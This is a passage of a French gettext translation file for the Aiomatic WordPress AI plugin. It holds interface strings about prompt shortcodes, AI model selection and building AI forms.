Prompts partiellement ou entièrement générées par l'IA qui seront " "utilisées pour les générateurs de contenu." #: res/aiomatic-rules-list.php:3314 #, php-format msgid "" "Prompt to be used for the Post Intro. You can use the following shortcodes: " "%%title%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%post_original_title%%, %%blog_title%% - to disable article intro, leave " "this prompt blank - Update: nested shortcodes also supported (shortcodes " "generated by rules from other plugins). You will also be able to use the " "custom shortcodes defined in the 'Custom Shortcode Creator' feature from the " "rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators. You will " "also be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" "Prompt à utiliser pour l'introduction de l'article. Vous pouvez utiliser les " "shortcodes suivants : %%title%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections_count%%, %%random_sentence%%, " "%%random_sentence2%%, %%post_original_title%%, %%blog_title%% - pour " "désactiver l'intro de l'article, laissez cette invite vide - Mise à jour : " "les shortcodes imbriqués sont également pris en charge (shortcodes générés " "par des règles provenant d'autres plugins). Vous pourrez également utiliser " "les shortcodes personnalisés définis dans la fonctionnalité \"Custom " "Shortcode Creator\" à partir des paramètres de la règle - cela vous " "permettra de créer des Prompts partiellement ou entièrement générées par " "l'IA qui seront utilisées pour les générateurs de contenu. Vous pourrez " "également utiliser les shortcodes personnalisés définis dans la fonction " "\"Custom Shortcode Creator\" à partir des paramètres de la règle - cela vous " "permettra de créer des Prompts partiellement ou entièrement générées par " "l'IA qui seront utilisées pour les générateurs de contenu." #: res/aiomatic-rules-list.php:3348 #, php-format msgid "" "Prompt to be used for the Post Sections. You can use the following " "shortcodes: %%title%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%post_original_title%%, %%blog_title%% - Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" "Prompt à utiliser pour les sections d'articles. Vous pouvez utiliser les " "shortcodes suivants : %%title%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections_count%%, %%random_sentence%%, " "%%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Mise à " "jour : les shortcodes imbriqués sont également pris en charge (shortcodes " "générés par des règles provenant d'autres plugins). Vous pourrez également " "utiliser les shortcodes personnalisés définis dans la fonctionnalité " "\"Créateur de shortcodes personnalisés\" à partir des paramètres de la règle " "- cela vous permettra de créer des Prompts partiellement ou entièrement " "générées par l'IA qui seront utilisées pour les générateurs de contenu." #: res/aiomatic-rules-list.php:3351 res/aiomatic-youtube-list.php:3121 msgid "Article Sections Prompt" msgstr "Prompt de sections d’article" #: res/aiomatic-rules-list.php:3364 res/aiomatic-youtube-list.php:3134 msgid "AI Model For Sections Generator" msgstr "Modèle d’IA pour le générateur de sections" #: res/aiomatic-rules-list.php:3419 res/aiomatic-youtube-list.php:3189 msgid "" "Use the Above Content Prompt To Create The Entire Article (Not Each Section)" msgstr "" "Utilisez l'incitation au contenu ci-dessus pour créer l'ensemble de " "l'article (et non chaque section)" #: res/aiomatic-rules-list.php:3434 #, php-format msgid "" "Prompt to be used for the Post Q&A. You can use the following shortcodes: " "%%title%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%post_original_title%%, %%blog_title%% - to disable article outro, leave " "this prompt blank - Update: nested shortcodes also supported (shortcodes " "generated by rules from other plugins). You will also be able to use the " "custom shortcodes defined in the 'Custom Shortcode Creator' feature from the " "rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" "Invite à utiliser pour la conclusion de l'article. Vous pouvez utiliser les " "shortcodes suivants : %%title%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections_count%%, %%random_sentence%%, " "%%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Pour " "désactiver la conclusion de l’article, laissez cette invite vide - Mise à " "jour : les shortcodes imbriqués sont également pris en charge (shortcodes " "générés par les règles d’autres plugins). Vous pourrez également utiliser " "les shortcodes personnalisés définis dans la fonction 'Custom Shortcode " "Creator' à partir des paramètres de règle - cela vous permettra de créer des " "Prompts partiellement ou entièrement générées par l’IA qui seront utilisées " "pour les générateurs de contenu." #: res/aiomatic-rules-list.php:3468 #, php-format msgid "" "Prompt to be used for the Post outro. You can use the following shortcodes: " "%%title%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%post_original_title%%, %%blog_title%% - to disable article outro, leave " "this prompt blank - Update: nested shortcodes also supported (shortcodes " "generated by rules from other plugins). You will also be able to use the " "custom shortcodes defined in the 'Custom Shortcode Creator' feature from the " "rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" "Invite à utiliser pour la conclusion de l'article. Vous pouvez utiliser les " "shortcodes suivants : %%title%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections_count%%, %%random_sentence%%, " "%%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Pour " "désactiver la conclusion de l’article, laissez cette invite vide - Mise à " "jour : les shortcodes imbriqués sont également pris en charge (shortcodes " "générés par les règles d’autres plugins). Vous pourrez également utiliser " "les shortcodes personnalisés définis dans la fonction 'Custom Shortcode " "Creator' à partir des paramètres de règle - cela vous permettra de créer des " "Prompts partiellement ou entièrement générées par l’IA qui seront utilisées " "pour les générateurs de contenu." #: res/aiomatic-rules-list.php:3502 #, php-format msgid "" "Prompt to be used for the Post Excerpt. You can use the following " "shortcodes: %%title%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections%%, %%random_sentence%%, %%random_sentence2%%, " "%%post_original_title%%, %%blog_title%% - Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" "Prompt à utiliser pour l'extrait de l'article. Vous pouvez utiliser les " "shortcodes suivants : %%title%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, " "%%post_original_title%%, %%blog_title%% - Mise à jour : les shortcodes " "imbriqués sont également pris en charge (shortcodes générés par des règles " "provenant d'autres plugins). Vous pourrez également utiliser les shortcodes " "personnalisés définis dans la fonctionnalité \"Créateur de shortcodes " "personnalisés\" à partir des paramètres de la règle - cela vous permettra de " "créer des Prompts partiellement ou entièrement générées par l'IA qui seront " "utilisées pour les générateurs de contenu." #: res/aiomatic-rules-list.php:3584 msgid "Select the AI Model to be used for the text generator." msgstr "Sélectionnez le modèle IA à utiliser pour le générateur de texte." #: res/aiomatic-rules-list.php:3587 msgid "AI Model For The Text Generator" msgstr "Modèle d'IA pour le générateur de texte" #: res/aiomatic-rules-list.php:3605 #, php-format msgid "" "Set list of prompt commands (one on each line) you want to send to OpenAI. " "This command can be any given task or order, based on which, it will " "generate content for posts. You can use the following shortcodes here: " "%%post_title%%, %%random_sentence%%, %%post_original_title%%, " "%%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, " "containing keywords (one per line), or to an RSS feed. If you use RSS feeds, " "you can also use the following additional shortcodes: %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%. The length of this " "command should not be greater than the max token count set in the settings " "for the prompt command - Update: nested shortcodes also supported " "(shortcodes generated by rules from other plugins). You can also add here a " "link to a .txt file, where you can add multiple prompts (one per line) and " "the plugin will select a random one at each run." msgstr "" "Définissez la liste des commandes (une par ligne) que vous souhaitez envoyer " "à OpenAI. Cette commande peut être n'importe quelle tâche ou ordre donné, " "sur la base duquel il générera du contenu pour les articles. Vous pouvez " "utiliser les shortcodes suivants ici : %%post_title%%, %%random_sentence%%, " "%%post_original_title%%, %%random_sentence2%%, %%blog_title%%. Vous pouvez " "également ajouter un lien vers un fichier TXT, contenant des mots-clés (un " "par ligne), ou vers un flux RSS. Si vous utilisez des flux RSS, vous pouvez " "également utiliser les shortcodes supplémentaires suivants : " "%%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, " "%%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. La " "longueur de cette commande ne doit pas être supérieure au nombre maximum de " "jetons défini dans les paramètres de la commande du Pompt - Mise à jour : " "les shortcodes imbriqués sont également pris en charge (shortcodes générés " "par des règles provenant d'autres plugins). Vous pouvez également ajouter " "ici un lien vers un fichier .txt, dans lequel vous pouvez ajouter plusieurs " "Prompts (une par ligne) et le plugin en sélectionnera une au hasard à chaque " "exécution." #: res/aiomatic-rules-list.php:3608 msgid "Prompt For The OpenAI Text Generator" msgstr "Prompt pour le générateur de texte OpenAI" #: res/aiomatic-rules-list.php:3620 msgid "AI Content Minimum Character Count" msgstr "Contenu IA Nombre minimum de caractères" #: res/aiomatic-rules-list.php:3633 #, php-format msgid "" "Select the AI Model to be used for the title text generator. You can add " "this to the post titles, using the %%ai_generated_title%% shortcode." msgstr "" "Sélectionnez le modèle IA à utiliser pour le générateur de texte de titre. " "Vous pouvez l'ajouter aux titres des articles en utilisant le shortcode " "%%ai_generated_title%%." #: res/aiomatic-rules-list.php:3636 msgid "AI Model For The Title Text Generator" msgstr "Modèle d'IA pour le générateur le texte du titre" #: res/aiomatic-rules-list.php:3654 #, php-format msgid "" "Set list of prompt commands (one on each line) you want to send to OpenAI " "title text generator. This command can be any given task or order, based on " "which, it will generate content for posts. You can use the following " "shortcodes here: %%post_title%%, %%random_sentence%%, " "%%post_original_title%%, %%random_sentence2%%, %%blog_title%%. You can also " "add a link to a TXT file, containing keywords (one per line), or to an RSS " "feed. If you use RSS feeds, you can also use the following additional " "shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, " "%%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The " "length of this command should not be greater than the max token count set in " "the settings for the prompt command - Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You can also " "add here a link to a .txt file, where you can add multiple prompts (one per " "line) and the plugin will select a random one at each run. You will also be " "able to use the custom shortcodes defined in the 'Custom Shortcode Creator' " "feature from the rule settings - this will allow you to create partially or " "fully AI generated prompts which will be used for the content generators." msgstr "" "Définissez la liste des commandes (une par ligne) que vous souhaitez envoyer " "au générateur de texte de titre d'OpenAI. Cette commande peut être n'importe " "quelle tâche ou ordre donné, sur la base duquel il générera du contenu pour " "les articles. Vous pouvez utiliser les shortcodes suivants ici : " "%%post_title%%, %%random_sentence%%, %%post_original_title%%, " "%%random_sentence2%%, %%blog_title%%. Vous pouvez également ajouter un lien " "vers un fichier TXT, contenant des mots-clés (un par ligne), ou vers un flux " "RSS. Si vous utilisez des flux RSS, vous pouvez également utiliser les " "shortcodes supplémentaires suivants : %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%. La longueur de cette " "commande ne doit pas être supérieure au nombre maximum de jetons défini dans " "les paramètres de la commande du Pompt - Mise à jour : les shortcodes " "imbriqués sont également pris en charge (shortcodes générés par des règles " "provenant d'autres plugins). Vous pouvez également ajouter ici un lien vers " "un fichier .txt, dans lequel vous pouvez ajouter plusieurs Prompts (une par " "ligne) et le plugin en sélectionnera une au hasard à chaque exécution. Vous " "pourrez également utiliser les shortcodes personnalisés définis dans la " "fonction \"Custom Shortcode Creator\" à partir des paramètres de la règle - " "cela vous permettra de créer des Prompts partiellement ou entièrement " "générées par l'IA qui seront utilisées pour les générateurs de contenu." #: res/aiomatic-rules-list.php:3657 msgid "Prompt For The OpenAI Title Text Generator" msgstr "Prompt pour le générateur de texte de titre OpenAI" #: res/aiomatic-rules-list.php:3691 msgid "Maximum Number Of Related Headings to Add To The Content" msgstr "Nombre maximum de rubriques connexes à ajouter au contenu" #: res/aiomatic-rules-list.php:3699 msgid "Select the AI Model to be used for the headings generator." msgstr "Sélectionnez le modèle IA à utiliser pour le générateur de rubriques." #: res/aiomatic-rules-list.php:3702 msgid "AI Model For The Headings Generator" msgstr "Modèle d’IA pour le générateur de titres" #: res/aiomatic-rules-list.php:3723 msgid "Related Headings AI Generator Prompt" msgstr "Rubriques connexes Générateur de Prompt d'IA" #: res/aiomatic-rules-list.php:3731 msgid "" "Set the maximum number of related images to add to the created post content. " "This feature will use the royalty free image sources configured in the " "plugin's 'Main Settings' menu or if you have access to the DallE API." msgstr "" "Définissez le nombre maximum d'images associées à ajouter au contenu de " "l'article créé. Cette fonctionnalité utilisera les sources d'images libres " "de droits configurées dans le menu \"Paramètres principaux\" du plugin ou si " "vous avez accès à l'API DallE." #: res/aiomatic-rules-list.php:3734 msgid "Maximum Number Of Related Images to Add To The Content" msgstr "Nombre maximum d'images connexes à ajouter au contenu" #: res/aiomatic-rules-list.php:3746 msgid "Add A Related Video To The End Of The Post" msgstr "Ajouter une vidéo connexe à la fin de l’article" #: res/aiomatic-rules-list.php:3763 msgid "Manual List Of Headings" msgstr "Liste manuelle des titres" #: res/aiomatic-rules-list.php:3776 msgid "Manual List Of Images" msgstr "Liste manuelle des images" #: res/aiomatic-rules-list.php:3939 #, php-format msgid "" "Set list of prompt commands (one on each line) you want to send to OpenAI " "category generator. You can use the following shortcodes here: " "%%post_title%%, %%random_sentence%%, %%post_original_title%%, " "%%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, " "containing keywords (one per line), or to an RSS feed. If you use RSS feeds, " "you can also use the following additional shortcodes: %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%. The length of this " "command should not be greater than the max token count set in the settings " "for the prompt command - Update: nested shortcodes also supported " "(shortcodes generated by rules from other plugins). You can also add here a " "link to a .txt file, where you can add multiple prompts (one per line) and " "the plugin will select a random one at each run. You will also be able to " "use the custom shortcodes defined in the 'Custom Shortcode Creator' feature " "from the rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" "Définissez la liste des commandes du Prompt (une par ligne) que vous " "souhaitez envoyer au générateur de catégories OpenAI. Vous pouvez utiliser " "les shortcodes suivants ici : %%post_title%%, %%random_sentence%%, " "%%post_original_title%%, %%random_sentence2%%, %%blog_title%%. Vous pouvez " "également ajouter un lien vers un fichier TXT, contenant des mots-clés (un " "par ligne), ou vers un flux RSS. Si vous utilisez des flux RSS, vous pouvez " "également utiliser les shortcodes supplémentaires suivants : " "%%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, " "%%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. La " "longueur de cette commande ne doit pas être supérieure au nombre maximum de " "jetons défini dans les paramètres de la commande du prompt- Mise à jour : " "les shortcodes imbriqués sont également pris en charge (shortcodes générés " "par des règles provenant d'autres plugins). Vous pouvez également ajouter " "ici un lien vers un fichier .txt, dans lequel vous pouvez ajouter plusieurs " "Prompts (une par ligne) et le plugin en sélectionnera une au hasard à chaque " "exécution. Vous pourrez également utiliser les shortcodes personnalisés " "définis dans la fonction \"Custom Shortcode Creator\" à partir des " "paramètres de la règle - cela vous permettra de créer des Prompts " "partiellement ou entièrement générées par l'IA qui seront utilisées pour les " "générateurs de contenu." #: res/aiomatic-rules-list.php:4084 #, php-format msgid "" "Set list of prompt commands (one on each line) you want to send to OpenAI " "tag generator. You can use the following shortcodes here: %%post_title%%, " "%%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, " "%%blog_title%%. You can also add a link to a TXT file, containing keywords " "(one per line), or to an RSS feed. If you use RSS feeds, you can also use " "the following additional shortcodes: %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%. The length of this " "command should not be greater than the max token count set in the settings " "for the prompt command - Update: nested shortcodes also supported " "(shortcodes generated by rules from other plugins). You can also add here a " "link to a .txt file, where you can add multiple prompts (one per line) and " "the plugin will select a random one at each run. You will also be able to " "use the custom shortcodes defined in the 'Custom Shortcode Creator' feature " "from the rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" "Définissez la liste des commandes du Pompt (une sur chaque ligne) que vous " "souhaitez envoyer au générateur de balises OpenAI. Vous pouvez utiliser les " "shortcodes suivants ici : %%post_title%%, %%random_sentence%%, " "%%post_original_title%%, %%random_sentence2%%, %%blog_title%%. Vous pouvez " "également ajouter un lien vers un fichier TXT, contenant des mots-clés (un " "par ligne), ou vers un flux RSS. Si vous utilisez des flux RSS, vous pouvez " "également utiliser les shortcodes supplémentaires suivants : " "%%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, " "%%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. La " "longueur de cette commande ne doit pas être supérieure au nombre maximum de " "jetons défini dans les paramètres de la commande du Pompt - Mise à jour : " "les shortcodes imbriqués sont également pris en charge (shortcodes générés " "par des règles provenant d'autres plugins). Vous pouvez également ajouter " "ici un lien vers un fichier .txt, dans lequel vous pouvez ajouter plusieurs " "Prompts (une par ligne) et le plugin en sélectionnera une au hasard à chaque " "exécution. Vous pourrez également utiliser les shortcodes personnalisés " "définis dans la fonction \"Custom Shortcode Creator\" à partir des " "paramètres de la règle - cela vous permettra de créer des Prompts " "partiellement ou entièrement générées par l'IA qui seront utilisées pour les " "générateurs de contenu." #: res/aiomatic-rules-list.php:4258 #, php-format msgid "" "Set list of prompt commands (one on each line) you want to send to the AI " "image generator. This command can be any given task or order, based on " "which, it will generate images. You can use the following shortcodes here: " "%%post_title%%, %%random_sentence%%, %%post_original_title%%, " "%%random_sentence2%%, %%blog_title%%. The length of this command should not " "be greater than 1000 characters, otherwise the plugin will strip it to 1000 " "characters length. - Update: nested shortcodes also supported (shortcodes " "generated by rules from other plugins). You can also add here a link to a ." "txt file, where you can add multiple prompts (one per line) and the plugin " "will select a random one at each run. If you use Royalty Free Images as a " "source, you can also set their keywords here, if no keywords set, they will " "be automatically generated. You will also be able to use the custom " "shortcodes defined in the 'Custom Shortcode Creator' feature from the rule " "settings - this will allow you to create partially or fully AI generated " "prompts which will be used for the content generators." msgstr "" "Définissez la liste des commandes (une par ligne) que vous souhaitez envoyer " "au générateur d'images IA. Cette commande peut être n'importe quelle tâche " "ou ordre donné, sur la base duquel le générateur d'images génèrera des " "images. Vous pouvez utiliser les shortcodes suivants ici : %%post_title%%, " "%%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, " "%%blog_title%%. La longueur de cette commande ne doit pas être supérieure à " "1000 caractères, sinon le plugin la réduira à 1000 caractères. - Mise à " "jour : les shortcodes imbriqués sont également pris en charge (shortcodes " "générés par des règles provenant d'autres plugins). Vous pouvez également " "ajouter ici un lien vers un fichier .txt, dans lequel vous pouvez ajouter " "plusieurs Prompts (une par ligne) et le plugin en sélectionnera une au " "hasard à chaque exécution. Si vous utilisez des images libres de droits " "comme source, vous pouvez également définir leurs mots-clés ici, si aucun " "mot-clé n'est défini, ils seront générés automatiquement. Vous pourrez " "également utiliser les shortcodes personnalisés définis dans la fonction " "\"Custom Shortcode Creator\" à partir des paramètres de la règle - cela vous " "permettra de créer des Prompts partiellement ou entièrement générées par " "l'IA qui seront utilisées pour les générateurs de contenu." #: res/aiomatic-rules-list.php:4318 msgid "" "Enter a HTML text that should be append to the AI generated content in each " "created post. You can use the following shortcodes: %%custom_html%%, %" "%custom_html2%%, %%random_sentence%%, %%random_sentence2%%, %" "%random_image[keyword]%%, %%random_image_url[keyword]%%, %" "%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also " "use an optional parameter in the random_image and random_video shortcodes, " "which will add a percentage chance for the media to appear or not - example: " "%%random_video[keyword][60]%% - a video will appear in 60% of cases, in the " "rest of 40%, nothing will be returned by the shortcode - Update: nested " "shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators." msgstr "" "Entrez un texte HTML qui doit être ajouté au contenu généré par l'IA dans " "chaque article créé. Vous pouvez utiliser les shortcodes suivants : %" "%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%%, " "%%random_image[mot-clé]%%, %%random_image_url[mot-clé]%%, %%random_video[mot-" "clé]%%, %%royalty_free_image_attribution%% - vous pouvez également utiliser " "un paramètre facultatif dans les shortcodes random_image et random_video, " "qui ajoutera un pourcentage de chance pour que le média apparaisse ou non - " "exemple : %%random_video[keyword][60]%% - une vidéo apparaîtra dans 60% of " "cas, dans les 40% restants, rien ne sera renvoyé par le shortcode - Mise à " "jour : les shortcodes imbriqués sont également pris en charge (shortcodes " "générés par des règles provenant d'autres plugins). Vous pourrez également " "utiliser les shortcodes personnalisés définis dans la fonctionnalité " "\"Custom Shortcode Creator\" à partir des paramètres de la règle - cela vous " "permettra de créer des Prompts partiellement ou entièrement générées par " "l'IA qui seront utilisées pour les générateurs de contenu." #: res/aiomatic-rules-list.php:4390 res/aiomatic-youtube-list.php:3969 msgid "Process Each Title/Topic Only Once" msgstr "Traiter chaque titre/sujet une seule fois" #: res/aiomatic-shortcodes.php:17 msgid "Label*" msgstr "Étiquette*" #: res/aiomatic-shortcodes.php:60 msgid "Select" msgstr "Sélectionner" #: res/aiomatic-shortcodes.php:61 msgid "Number" msgstr "Nombre" #: res/aiomatic-shortcodes.php:62 msgid "Email" msgstr "E-mail" #: res/aiomatic-shortcodes.php:63 msgid "URL" msgstr "URL" #: res/aiomatic-shortcodes.php:64 msgid "Textarea" msgstr "Zone de texte" #: res/aiomatic-shortcodes.php:65 msgid "Checkbox" msgstr "Case à cocher" #: res/aiomatic-shortcodes.php:66 msgid "Radio" msgstr "Radio" #: res/aiomatic-shortcodes.php:67 msgid "HTML" msgstr "HTML" #: res/aiomatic-shortcodes.php:96 msgid "Aiomatic Shortcodes & Forms" msgstr "Shortcodes et formulaires Aiomatic" #: res/aiomatic-shortcodes.php:101 msgid "Built-in Shortcodes" msgstr "Shortcodes intégrés" #: res/aiomatic-shortcodes.php:102 msgid "Add A New AI Form" msgstr "Ajouter un nouveau formulaire IA" #: res/aiomatic-shortcodes.php:103 msgid "AI Forms Importer/Exporter" msgstr "IA Forms Importer/Exporter" #: res/aiomatic-shortcodes.php:104 msgid "List AI Forms" msgstr "Liste des formulaires IA" #: res/aiomatic-shortcodes.php:108 msgid "What are AI Forms?" msgstr "Qu'est-ce qu'un formulaire IA ?" #: res/aiomatic-shortcodes.php:109 #, php-format msgid "" "With AI Forms you can create fully customizable forms which will be able to " "be used using the [aiomatic-form id=\"FORM_ID\"] shortcode. You can create " "textual forms, Dalle-2 image forms or Stable Diffusion image forms. You can " "create custom input fields of multiple types for the created forms, where " "users will be able to define their desired input values. These input fields " "will be able to be replaced in the prompts you define for each form, using " "shortcodes in this format: %%input_field_ID%%." msgstr "" "Avec IA Forms, vous pouvez créer des formulaires entièrement " "personnalisables qui pourront être utilisés avec le shortcode [aiomatic-form " "id=\"FORM_ID\"]. Vous pouvez créer des formulaires textuels, des formulaires " "d'images Dalle-2 ou des formulaires d'images Stable Diffusion. Vous pouvez " "créer des champs de saisie personnalisés de plusieurs types pour les " "formulaires créés, dans lesquels les utilisateurs pourront définir les " "valeurs de saisie qu'ils souhaitent. Ces champs de saisie pourront être " "remplacés dans les Prompts que vous définissez pour chaque formulaire, à " "l'aide de shortcodes dans ce format : %%input_field_ID%%." #: res/aiomatic-shortcodes.php:110 msgid "" "The forms feature will allow you to extend the functionality of your site, " "provide customized responses to user questions or even create AI membership " "websites. These forms will be able to be used next to the conventional " "'built-in' shortcodes which are provided by the plugin. These 'built-in' " "shortcodes are listed in the 'Buil-in Shortcodes' tab from above." msgstr "" "Les formulaires vous permettront d'étendre les fonctionnalités de votre " "site, de fournir des réponses personnalisées aux questions des utilisateurs " "ou même de créer des sites Web d'adhésion IA. Ces formulaires pourront être " "utilisés en plus des shortcodes conventionnels \"intégrés\" fournis par le " "plugin. Ces shortcodes \"intégrés\" sont listés dans l'onglet \"Buil-in " "Shortcodes\" ci-dessus." #: res/aiomatic-shortcodes.php:111 msgid "How to get started with AI Forms?" msgstr "Comment démarrer avec IA Forms ?" #: res/aiomatic-shortcodes.php:112 msgid "The main steps of creating forms are" msgstr "" "Les principales étapes de la création de formulaires sont les suivantes" #: res/aiomatic-shortcodes.php:113 msgid "be sure to not skip this step!" msgstr "ne sautez pas cette étape !" #: res/aiomatic-shortcodes.php:114 msgid "Step 1a: Import the default AI Forms" msgstr "Étape 1a : Importer les formulaires IA par défaut" #: res/aiomatic-shortcodes.php:114 msgid "" "In case you want to get some inspiration on how to create your own forms or " "you want to get started really quick with using the AI Forms functionality " "of the plugin, you can go ahead and import the default forms which come " "bundled with this plugin. To do this, go to the 'AI Forms Importer/Exporter' " "tab and click the 'Import Default Forms' button." msgstr "" "Si vous souhaitez vous inspirer de la manière de créer vos propres " "formulaires ou si vous voulez commencer rapidement à utiliser la " "fonctionnalité IA Forms du plugin, vous pouvez importer les formulaires par " "défaut qui sont fournis avec ce plugin. Pour ce faire, allez dans l'onglet " "\"IA Forms Importer/Exporter\" et cliquez sur le bouton \"Importer les " "formulaires par défaut\"." #: res/aiomatic-shortcodes.php:116 msgid "Step 1b: Create your own AI Forms" msgstr "Étape 1b : Créez vos propres formulaires IA" #: res/aiomatic-shortcodes.php:116 #, php-format msgid "" "You can also get started creating your own AI Forms. To do this, go to the " "'Add A New AI Form' tab and start setting up your own forms. You can select " "between multiple form types (text, Dall-E 2 image or Stable Diffusion " "image), set a form name and description (which can be displayed on the top " "of the form, as a form headers). You can create also multiple input fields " "(of multiple types), using the 'Add A New Form Input Field' button, which " "will be used by users to enter their data. For each input field, you can set " "an 'ID', which will be used as a shortcode (and replaced with the value " "entered by the user) in the AI prompt you define in the form you build, " "using this format: %%input_ID%%. You will be also able to set some AI model " "advanced settings and configure the form's submit button text. For more " "detailed AI Forms customization, you can check the plugin's 'Main Settings' " "menu -> 'AI Forms' tab." msgstr "" "Vous pouvez également commencer à créer vos propres formulaires IA. Pour ce " "faire, accédez à l'onglet \"Add A New IA Form\" (Ajouter un nouveau " "formulaire IA) et commencez à créer vos propres formulaires. Vous pouvez " "choisir entre plusieurs types de formulaires (texte, image Dall-E 2 ou image " "de diffusion stable), définir un nom de formulaire et une description (qui " "peuvent être affichés en haut du formulaire, sous forme d'en-tête). Vous " "pouvez également créer plusieurs champs de saisie (de plusieurs types), en " "utilisant le bouton \"Add A New Form Input Field\", qui seront utilisés par " "les utilisateurs pour saisir leurs données. Pour chaque champ de saisie, " "vous pouvez définir un \"ID\", qui sera utilisé comme code court (et " "remplacé par la valeur saisie par l'utilisateur) dans le Prompt IA que vous " "définissez dans le formulaire que vous créez, en utilisant ce format : " "%%input_ID%%. Vous pourrez également définir certains paramètres avancés du " "modèle IA et configurer le texte du bouton d'envoi du formulaire. Pour une " "personnalisation plus détaillée des formulaires IA, vous pouvez consulter le " "menu 'Paramètres principaux' du plugin -> onglet 'IA Forms'." #: res/aiomatic-shortcodes.php:117 msgid "Step 2: Use the AI Forms" msgstr "Étape 2 : Utiliser les formulaires IA" #: res/aiomatic-shortcodes.php:117 msgid "" "You can set up the AI Forms in the front end of your site, by using the " "[aiomatic-form id=\"FORM_ID\"] shortcode. You can get the shortcode for each " "form, from the 'List AI Forms' tab from above. Here you will be able to " "manage (edit, delete, preview) created AI Forms." msgstr "" "Vous pouvez configurer les formulaires IA dans la partie frontale de votre " "site, en utilisant le shortcode [aiomatic-form id=\"FORM_ID\"]. Vous pouvez " "obtenir le shortcode pour chaque formulaire, à partir de l'onglet \"Liste " "des formulaires IA\" ci-dessus. Ici, vous pourrez gérer (éditer, supprimer, " "prévisualiser) les formulaires IA créés." #: res/aiomatic-shortcodes.php:127 msgid "Available shortcodes:" msgstr "Raccourcis disponibles :" #: res/aiomatic-shortcodes.php:127 msgid "" "to add a form similar to OpenAI's Text Completion Playground, to generate AI " "written text based on prompts." msgstr "" "pour ajouter un formulaire similaire au Text Completion Playground d'OpenAI, " "pour générer du texte écrit par l'IA à partir de Prompts." #: res/aiomatic-shortcodes.php:128 msgid "" "to add a form similar to OpenAI's Playground, to generate AI written text " "based on prompts." msgstr "" "pour ajouter un formulaire similaire au Playground d'OpenAI, pour générer du " "texte écrit par l'IA sur la base d'Prompts." #: res/aiomatic-shortcodes.php:129 msgid "to add a form to generate AI images (GPT-3) based on prompts." msgstr "" "pour ajouter un formulaire permettant de générer des images IA (GPT-3) sur " "la base de Prompts." #: res/aiomatic-shortcodes.php:130 msgid "" "to add a form to generate AI images (Stable Diffusion) based on prompts." msgstr "" "pour ajouter un formulaire permettant de générer des images d'IA (diffusion " "stable) sur la base de Prompts." #: res/aiomatic-shortcodes.php:131 msgid "" "to add a form to generate a chat similar to ChatGPT. However, please note " "that this is not ChatGPT, but instead it is a custom chatbot built on top of " "OpenAI API." msgstr "" "pour ajouter un formulaire permettant de générer un chat similaire à " "ChatGPT. Cependant, veuillez noter qu'il ne s'agit pas de ChatGPT, mais d'un " "chatbot personnalisé construit au-dessus de l'API OpenAI." #: res/aiomatic-shortcodes.php:132 msgid "" "to automatically write an article based on the 'seed_expre' argument of the " "post content/excerpt/title where the shortcode is placed," msgstr "" "pour écrire automatiquement un article basé sur l'argument 'seed_expre' du " "contenu de l'article/excerpt/title où le shortcode est placé," #: 